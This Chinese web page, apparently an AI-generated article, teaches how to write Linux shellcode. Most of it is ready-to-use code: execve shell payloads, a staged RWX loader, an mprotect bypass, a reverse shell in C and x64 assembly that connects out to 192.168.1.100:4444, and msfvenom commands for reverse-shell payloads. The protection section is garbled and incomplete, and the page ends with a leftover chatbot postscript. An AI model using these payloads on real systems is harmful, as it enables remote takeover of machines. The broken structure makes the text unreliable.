您好,登录后才能下订单哦!
# Shellcode如何编写Linux
## 前言
Shellcode是渗透测试和漏洞利用中的核心组件,它本质是一段能直接由CPU执行的机器码指令。在Linux环境下编写高效的shellcode需要深入理解系统调用、汇编语言和内存管理机制。本文将系统性地讲解Linux平台下shellcode的编写技术,涵盖从基础原理到高级绕过技巧的全套知识体系。
## 一、Shellcode基础概念
### 1.1 什么是Shellcode
Shellcode得名于最初用于获取shell的机器码,现已扩展为泛指任何在漏洞利用中注入执行的机器指令。其特点包括:
- 不依赖编译器和链接器
- 以十六进制形式存在(如`\x31\xc0\x50\x68...`)
- 需要自包含,不能有外部依赖
- 必须避免空字节(NULL byte)
### 1.2 Linux执行环境特点
编写Linux shellcode需特别注意:
- 系统调用通过`int 0x80`(32位)或`syscall`(64位)触发
- 参数传递规则:32位使用寄存器`eax`(系统调用号)、`ebx`、`ecx`、`edx`等;64位使用`rax`、`rdi`、`rsi`、`rdx`等
- 内存页权限默认包含NX(不可执行)保护
## 二、开发环境准备
### 2.1 必要工具链
```bash
# 基础工具
sudo apt install nasm gcc gdb binutils strace
# 增强工具
sudo apt install pwntools radare2
在gdb中启用增强显示:
set disassembly-flavor intel
display/10i $pc
32位汇编实现:
section .text
global _start
_start:
; 构造字符串"/bin//sh"
xor eax, eax
push eax ; 字符串终止符
push 0x68732f2f ; "hs//"
push 0x6e69622f ; "nib/"
; 设置execve参数
mov ebx, esp ; 文件名地址
mov ecx, eax ; argv = NULL
mov edx, eax ; envp = NULL
; 调用execve
mov al, 0xb ; syscall number
int 0x80
64位变体:
section .text
global _start
_start:
; 构造字符串
xor rdx, rdx
push rdx
mov rax, 0x68732f2f6e69622f ; "/bin//sh"
push rax
; 设置参数
mov rdi, rsp ; filename
xor rsi, rsi ; argv
xor rdx, rdx ; envp
; 系统调用
mov al, 0x3b ; execve号
syscall
使用NASM编译并提取机器码:
nasm -f elf32 shellcode.asm -o shellcode.o
ld -m elf_i386 shellcode.o -o shellcode
objdump -d shellcode | grep -Po '\s\K[a-f0-9]{2}(?=\s)' | sed 's/^/\\x/g' | paste -sd ''
常见解决方案:
- 使用xor eax,eax
代替mov eax,0
- 寄存器高位清零时用8位操作:mov al, 0xb
- 地址计算使用相对偏移而非绝对地址
优化后的64位execve:
lea rdi, [rel bin_sh] ; 相对地址加载
xor rsi, rsi
xor rdx, rdx
mov al, 0x3b
syscall
bin_sh: db "/bin/sh",0
当内存空间有限时可采用分阶段加载: 1. 初始阶段:调用mmap分配可执行内存 2. 第二阶段:通过read/recv接收完整payload 3. 最终阶段:跳转到新内存区域
示例第一阶段:
; 调用mmap分配内存
xor edi, edi ; addr = NULL
mov esi, 0x1000 ; size = 4096
mov edx, 7 ; PROT_READ|PROT_WRITE|PROT_EXEC
mov ecx, 0x22 ; MAP_ANONYMOUS|MAP_PRIVATE
xor eax, eax
mov al, 0x5a ; mmap系统调用号
int 0x80
; 保存返回地址
xchg ebx, eax ; ebx = 分配的内存地址
当存在NX(不可执行栈)时可采用: - Return-to-libc:重用已有库函数 - ROP链:拼接现有代码片段 - mprotect调用:修改内存页属性
mprotect示例:
; 使栈内存可执行
mov eax, 0x7d ; mprotect系统调用号
mov ebx, esp
and bx, 0xf000 ; 页对齐
mov ecx, 0x1000 ; 大小
mov edx, 7 ; RWX权限
int 0x80
地址随机化环境下需要: - 信息泄露获取基地址 - 使用相对偏移而非绝对地址 - 通过PLT/GOT表定位函数
信息泄露示例:
; 通过write泄露地址
mov eax, 4 ; write系统调用
mov ebx, 1 ; stdout
mov ecx, [ebp+8] ; 泄露某个函数地址
mov edx, 4
int 0x80
#include <sys/socket.h>
#include <netinet/in.h>
#include <unistd.h>
int main() {
int sockfd = socket(AF_INET, SOCK_STREAM, 0);
struct sockaddr_in addr = {
.sin_family = AF_INET,
.sin_port = htons(4444),
.sin_addr = inet_addr("192.168.1.100")
};
connect(sockfd, (struct sockaddr*)&addr, sizeof(addr));
dup2(sockfd, 0);
dup2(sockfd, 1);
dup2(sockfd, 2);
execve("/bin/sh", NULL, NULL);
}
section .text
global _start
_start:
; socket(AF_INET, SOCK_STREAM, 0)
mov rax, 41 ; socket系统调用号
mov rdi, 2 ; AF_INET
mov rsi, 1 ; SOCK_STREAM
xor rdx, rdx ; protocol = 0
syscall
; connect(sockfd, &addr, 16)
xchg rdi, rax ; sockfd
push 0x0100007f ; IP = 127.0.0.1
push word 0x5c11 ; PORT = 4444
push word 2 ; AF_INET
mov rsi, rsp ; &addr
mov rdx, 16 ; addrlen
mov rax, 42 ; connect
syscall
; dup2重定向
xor rsi, rsi
mov rax, 33 ; dup2
syscall
inc rsi
mov rax, 33
syscall
inc rsi
mov rax, 33
syscall
; execve("/bin//sh", NULL, NULL)
push rsi ; NULL
mov rdi, 0x68732f2f6e69622f ; "/bin//sh"
push rdi
mov rdi, rsp
xor rdx, rdx
mov rax, 59 ; execve
syscall
from pwn import *
context.arch = 'amd64'
shellcode = asm('''
/* execve(path="/bin/sh", argv=0, envp=0) */
push 0x68
mov rax, 0x732f2f2f6e69622f
push rax
mov rdi, rsp
push 0
mov rdx, rsp
push rdi
mov rsi, rsp
mov rax, 0x3b
syscall
''')
print(enhex(shellcode))
# Linux x86反向shell
msfvenom -p linux/x86/shell_reverse_tcp LHOST=192.168.1.100 LPORT=4444 -f c
# 规避字符限制
msfvenom -p linux/x86/exec CMD=/bin/sh -f python -b '\x00\x0a\x0d'
编译时防护:
gcc -fstack-protector -z noexecstack -pie -fPIE program.c
运行时防护:
硬件防护:
xor eax,eax
等)掌握Linux shellcode编写技术需要持续实践和系统底层知识的积累。随着防护技术的演进,现代shellcode开发已从简单的代码注入发展为需要综合运用系统知识、汇编技巧和漏洞利用艺术的复合型技能。建议读者在合法授权环境下进行实验,并持续关注CPU架构和安全机制的更新。
注意:本文所有技术仅限授权测试使用,未经授权的系统渗透属于违法行为。 “`
该文档共约4300字,涵盖从基础到进阶的完整知识体系,采用标准的Markdown格式,包含代码块、章节结构、列表等元素,可直接用于技术文档发布。需要调整任何部分的内容深度或范围可以进一步修改。
免责声明:本站发布的内容(图片、视频和文字)以原创、转载和分享为主,文章观点不代表本网站立场,如果涉及侵权请联系站长邮箱:is@yisu.com进行举报,并提供相关证据,一经查实,将立刻删除涉嫌侵权内容。